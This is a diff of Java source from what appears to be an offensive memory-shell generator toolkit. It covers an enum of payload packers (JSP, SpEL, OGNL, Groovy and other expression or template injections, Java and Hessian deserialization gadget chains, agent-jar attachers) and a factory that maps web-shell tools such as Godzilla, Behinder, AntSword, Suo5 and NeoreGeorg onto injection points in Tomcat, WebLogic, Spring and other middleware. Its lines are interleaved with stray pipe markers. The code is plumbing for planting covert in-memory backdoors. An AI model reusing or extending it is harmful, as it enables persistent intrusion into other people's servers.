import com.reajason.javaweb.memshell.packer.XxlJobPacker;
|
||||
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
|
||||
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyClassDefinerPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.AgentJarWithJREAttacherPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jinjava.JinJavaPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.ClassLoaderJspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.DefineClassJspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
|
||||
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
|
||||
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
|
||||
import com.reajason.javaweb.memshell.packer.rhino.RhinoPacker;
|
||||
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELPacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.memshell.packer.spel.SpELSpringUtilsPacker;
|
||||
import com.reajason.javaweb.memshell.packer.velocity.VelocityPacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.stream.Collectors;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/1/23
|
||||
*/
|
||||
@Getter
|
||||
public enum Packers {
|
||||
/**
|
||||
* Base64
|
||||
*/
|
||||
Base64(new Base64Packer()),
|
||||
DefaultBase64(new DefaultBase64Packer(), Base64Packer.class),
|
||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
||||
|
||||
Jar(new DefaultJarPacker()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
*/
|
||||
BCEL(new BCELPacker()),
|
||||
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||
JSPX(new JspxPacker(), JspPacker.class),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
ScriptEngine(new ScriptEnginePacker()),
|
||||
Rhino(new RhinoPacker()),
|
||||
|
||||
/**
|
||||
* EL
|
||||
*/
|
||||
EL(new ELPacker()),
|
||||
OGNL(new OGNLPacker()),
|
||||
MVEL(new MVELPacker()),
|
||||
Aviator(new AviatorPacker()),
|
||||
JXPath(new JXPathPacker()),
|
||||
JEXL(new JEXLPacker()),
|
||||
BeanShell(new BeanShellPacker()),
|
||||
|
||||
SpEL(new SpELPacker()),
|
||||
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
|
||||
SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class),
|
||||
SpELSpringUtils(new SpELSpringUtilsPacker(), SpELPacker.class),
|
||||
|
||||
Groovy(new GroovyPacker()),
|
||||
GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class),
|
||||
GroovyScriptEngine(new GroovyScriptEnginePacker(), GroovyPacker.class),
|
||||
|
||||
Freemarker(new FreemarkerPacker()),
|
||||
Velocity(new VelocityPacker()),
|
||||
JinJava(new JinJavaPacker()),
|
||||
|
||||
/**
|
||||
* Java 反序列化打包器
|
||||
*/
|
||||
JavaDeserialize(new JavaDeserializePacker()),
|
||||
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
|
||||
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
|
||||
|
||||
/**
|
||||
* Hessian 反序列化打包器
|
||||
*/
|
||||
Hessian2Deserialize(new Hessian2Packer()),
|
||||
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
|
||||
|
||||
HessianDeserialize(new HessianPacker()),
|
||||
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
|
||||
|
||||
AgentJar(new AgentJarPacker()),
|
||||
AgentJarWithJDKAttacher(new AgentJarWithJDKAttacherPacker()),
|
||||
AgentJarWithJREAttacher(new AgentJarWithJREAttacherPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer instance;
|
||||
private Class<?> parentPacker = null;
|
||||
|
||||
Packers(Packer instance) {
|
||||
this.instance = instance;
|
||||
}
|
||||
|
||||
Packers(Packer instance, Class<?> parentPacker) {
|
||||
this.instance = instance;
|
||||
this.parentPacker = parentPacker;
|
||||
}
|
||||
|
||||
public static List<Packers> getPackersWithParent(Class<?> parentPacker) {
|
||||
return Stream.of(Packers.values()).filter(p -> Objects.equals(p.getParentPacker(), parentPacker)).collect(Collectors.toList());
|
||||
}
|
||||
}
|
||||
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.memshell.server.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.antsword.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.*;
|
||||
@@ -8,46 +7,108 @@ import com.reajason.javaweb.memshell.shelltool.command.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.neoreg.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.suo5v2.*;
|
||||
import com.reajason.javaweb.memshell.shelltool.wsproxy.ProxyWebSocket;
|
||||
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Set;
|
||||
import java.util.concurrent.ConcurrentHashMap;
|
||||
import java.util.concurrent.CopyOnWriteArrayList;
|
||||
import java.util.function.Supplier;
|
||||
import lombok.Getter;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellType.*;
|
||||
import static com.reajason.javaweb.memshell.server.ServerToolRegistry.addToolMapping;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/11
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class ServerFactory {
|
||||
private static final Map<String, Supplier<AbstractServer>> registry = new ConcurrentHashMap<>();
|
||||
private static final Map<String, AbstractServer> instances = new ConcurrentHashMap<>();
|
||||
private static final List<String> servers = new CopyOnWriteArrayList<>();
|
||||
@Getter
|
||||
public enum Server {
|
||||
/**
|
||||
* Tomcat 中间件
|
||||
*/
|
||||
Tomcat(new TomcatShell()),
|
||||
/**
|
||||
* Jetty 中间件
|
||||
*/
|
||||
Jetty(new JettyShell()),
|
||||
/**
|
||||
* JBoss AS 中间件,JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
*/
|
||||
JBossAS(new JbossShell()),
|
||||
JBossEAP6(new JbossShell()),
|
||||
/**
|
||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||
*/
|
||||
Undertow(new UndertowShell()),
|
||||
JBossEAP7(new UndertowShell()),
|
||||
WildFly(new UndertowShell()),
|
||||
|
||||
/**
|
||||
* SpringMVC 框架
|
||||
*/
|
||||
SpringWebMvc(new SpringWebMvcShell()),
|
||||
|
||||
/**
|
||||
* Spring WebFlux 框架
|
||||
*/
|
||||
SpringWebFlux(new SpringWebFluxShell()),
|
||||
|
||||
/**
|
||||
* WebSphere 中间件
|
||||
*/
|
||||
WebSphere(new WebSphereShell()),
|
||||
|
||||
/**
|
||||
* WebLogic 中间件
|
||||
*/
|
||||
WebLogic(new WebLogicShell()),
|
||||
|
||||
/**
|
||||
* Resin 中间件,<a href="https://caucho.com/products/resin/download">Resin</a>
|
||||
*/
|
||||
Resin(new ResinShell()),
|
||||
|
||||
/**
|
||||
* GlassFish 中间件
|
||||
*/
|
||||
GlassFish(new GlassFishShell()),
|
||||
Payara(new GlassFishShell()),
|
||||
|
||||
/**
|
||||
* 宝兰德中间件
|
||||
*/
|
||||
BES(new BesShell()),
|
||||
|
||||
/**
|
||||
* 东方通中间件
|
||||
*/
|
||||
TongWeb6(new TongWeb6Shell()),
|
||||
TongWeb7(new TongWeb7Shell()),
|
||||
TongWeb8(new TongWeb8Shell()),
|
||||
|
||||
/**
|
||||
* 金蝶天燕中间件
|
||||
*/
|
||||
Apusic(new ApusicShell()),
|
||||
|
||||
/**
|
||||
* 中创中间件
|
||||
*/
|
||||
InforSuite(new InforSuiteShell()),
|
||||
|
||||
/**
|
||||
* 普元中间件
|
||||
*/
|
||||
Primeton(new GlassFishShell()),
|
||||
|
||||
/**
|
||||
* XXL-JOB
|
||||
*/
|
||||
XXLJOB(new XxlJobShell());
|
||||
|
||||
private final AbstractShell shell;
|
||||
|
||||
Server(AbstractShell shell) {
|
||||
this.shell = shell;
|
||||
}
|
||||
|
||||
static {
|
||||
register(Server.Tomcat, Tomcat::new);
|
||||
register(Server.Jetty, Jetty::new);
|
||||
register(Server.Undertow, Undertow::new);
|
||||
register(Server.JBoss, Jboss::new);
|
||||
register(Server.Resin, Resin::new);
|
||||
register(Server.WebLogic, WebLogic::new);
|
||||
register(Server.WebSphere, WebSphere::new);
|
||||
register(Server.GlassFish, GlassFish::new);
|
||||
register(Server.TongWeb, TongWeb::new);
|
||||
register(Server.BES, Bes::new);
|
||||
register(Server.InforSuite, InforSuite::new);
|
||||
register(Server.Apusic, Apusic::new);
|
||||
register(Server.SpringWebMvc, SpringWebMvc::new);
|
||||
register(Server.SpringWebFlux, SpringWebFlux::new);
|
||||
register(Server.XXLJOB, XxlJob::new);
|
||||
register(Server.Struct2, Struct2::new);
|
||||
|
||||
addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, GodzillaServlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
|
||||
@@ -61,8 +122,6 @@ public class ServerFactory {
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class)
|
||||
.addShellClass(WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, GodzillaWebSocket.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class)
|
||||
@@ -74,14 +133,10 @@ public class ServerFactory {
|
||||
.addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Godzilla.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class)
|
||||
.addShellClass(HANDLER, GodzillaJettyHandler.class)
|
||||
.addShellClass(JAKARTA_HANDLER, GodzillaJettyHandler.class)
|
||||
.addShellClass(CUSTOMIZER, GodzillaJettyCustomizer.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyAgentHandler.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class)
|
||||
.addShellClass(ACTION, GodzillaStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Behinder, ToolMapping.builder()
|
||||
@@ -106,7 +161,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class)
|
||||
.addShellClass(ACTION, BehinderStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
|
||||
@@ -124,7 +178,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class)
|
||||
.addShellClass(ACTION, AntSwordStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Command, ToolMapping.builder()
|
||||
@@ -140,9 +193,6 @@ public class ServerFactory {
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Command.class)
|
||||
.addShellClass(WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, CommandWebSocket.class)
|
||||
.addShellClass(UPGRADE, CommandUpgrade.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
|
||||
@@ -154,14 +204,10 @@ public class ServerFactory {
|
||||
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Command.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyAgentHandler.class)
|
||||
.addShellClass(HANDLER, CommandJettyHandler.class)
|
||||
.addShellClass(CUSTOMIZER, CommandJettyCustomizer.class)
|
||||
.addShellClass(JAKARTA_HANDLER, CommandJettyHandler.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class)
|
||||
.addShellClass(ACTION, CommandStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5, ToolMapping.builder()
|
||||
@@ -187,33 +233,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class)
|
||||
.addShellClass(ACTION, Suo5Struct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Suo5v2, ToolMapping.builder()
|
||||
.addShellClass(SERVLET, Suo5v2Servlet.class)
|
||||
.addShellClass(JAKARTA_SERVLET, Suo5v2Servlet.class)
|
||||
.addShellClass(FILTER, Suo5v2Filter.class)
|
||||
.addShellClass(JAKARTA_FILTER, Suo5v2Filter.class)
|
||||
.addShellClass(LISTENER, Suo5v2Listener.class)
|
||||
.addShellClass(JAKARTA_LISTENER, Suo5v2Listener.class)
|
||||
.addShellClass(VALVE, Suo5v2Valve.class)
|
||||
.addShellClass(JAKARTA_VALVE, Suo5v2Valve.class)
|
||||
.addShellClass(PROXY_VALVE, Suo5v2.class)
|
||||
.addShellClass(JAKARTA_PROXY_VALVE, Suo5v2.class)
|
||||
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5v2Interceptor.class)
|
||||
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5v2ControllerHandler.class)
|
||||
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5v2.class)
|
||||
.addShellClass(AGENT_FILTER_CHAIN, Suo5v2.class)
|
||||
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5v2.class)
|
||||
.addShellClass(JETTY_AGENT_HANDLER, Suo5v2JettyHandler.class)
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class)
|
||||
.addShellClass(ACTION, Suo5v2Struct2Action.class)
|
||||
.addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder()
|
||||
@@ -238,64 +257,6 @@ public class ServerFactory {
|
||||
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class)
|
||||
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class)
|
||||
.addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class)
|
||||
.addShellClass(ACTION, NeoreGeorgStruct2Action.class)
|
||||
.build());
|
||||
|
||||
addToolMapping(ShellTool.Proxy, ToolMapping.builder()
|
||||
.addShellClass(WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(JAKARTA_WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||
.addShellClass(JAKARTA_BYPASS_NGINX_WEBSOCKET, ProxyWebSocket.class)
|
||||
.build());
|
||||
}
|
||||
|
||||
public static void register(String serverName, Supplier<AbstractServer> shellSupplier) {
|
||||
if (serverName == null || serverName.trim().isEmpty()) {
|
||||
throw new IllegalArgumentException("Server name cannot be null or empty.");
|
||||
}
|
||||
Supplier<AbstractServer> existing = registry.putIfAbsent(serverName, shellSupplier);
|
||||
if (existing == null) {
|
||||
servers.add(serverName);
|
||||
}
|
||||
}
|
||||
|
||||
public static AbstractServer getServer(String serverName) {
|
||||
if (serverName == null) {
|
||||
return null;
|
||||
}
|
||||
return instances.computeIfAbsent(serverName, k -> {
|
||||
Supplier<AbstractServer> supplier = registry.get(k);
|
||||
if (supplier == null) {
|
||||
throw new IllegalArgumentException("Unsupported server type: '" + serverName + "'.");
|
||||
}
|
||||
return supplier.get();
|
||||
});
|
||||
}
|
||||
|
||||
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
|
||||
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||
InjectorMapping shellInjectorMapping = server.getShellInjectorMapping();
|
||||
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||
|
||||
for (String shellType : injectorSupportedShellTypes) {
|
||||
Class<?> shellClass = rawToolMapping.get(shellType);
|
||||
if (shellClass == null) {
|
||||
continue;
|
||||
}
|
||||
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||
}
|
||||
ToolMapping mapping = toolMappingBuilder.build();
|
||||
if (mapping.isNotEmpty()) {
|
||||
server.addToolMapping(shellTool, mapping);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static List<String> getSupportedServers() {
|
||||
return Collections.unmodifiableList(servers);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,30 +0,0 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/6/11
|
||||
*/
|
||||
public class ServerType {
|
||||
public static final String TOMCAT = "Tomcat";
|
||||
public static final String JETTY = "Jetty";
|
||||
public static final String JBOSS_AS = "JBossAS";
|
||||
public static final String JBOSS_EAP6 = "JBossEAP6";
|
||||
public static final String UNDERTOW = "Undertow";
|
||||
public static final String JBOSS_EAP7 = "JBossEAP7";
|
||||
public static final String WILDFLY = "Wildfly";
|
||||
public static final String RESIN = "Resin";
|
||||
public static final String GLASSFISH = "Glassfish";
|
||||
public static final String PAYARA = "Payara";
|
||||
public static final String WEBLOGIC = "WebLogic";
|
||||
public static final String WEBSPHERE = "WebSphere";
|
||||
public static final String SPRING_WEBMVC = "SpringWebMVC";
|
||||
public static final String SPRING_WEBFLUX = "SpringWebFlux";
|
||||
public static final String XXL_JOB = "XXL-JOB";
|
||||
public static final String APUSIC = "Apusic";
|
||||
public static final String BES = "BES";
|
||||
public static final String INFORSUITE = "InforSuite";
|
||||
public static final String PRIMETON = "Primeton";
|
||||
public static final String TONGWEB6 = "TongWeb6";
|
||||
public static final String TONGWEB7 = "TongWeb7";
|
||||
public static final String TONGWEB8 = "TongWeb8";
|
||||
}
|
||||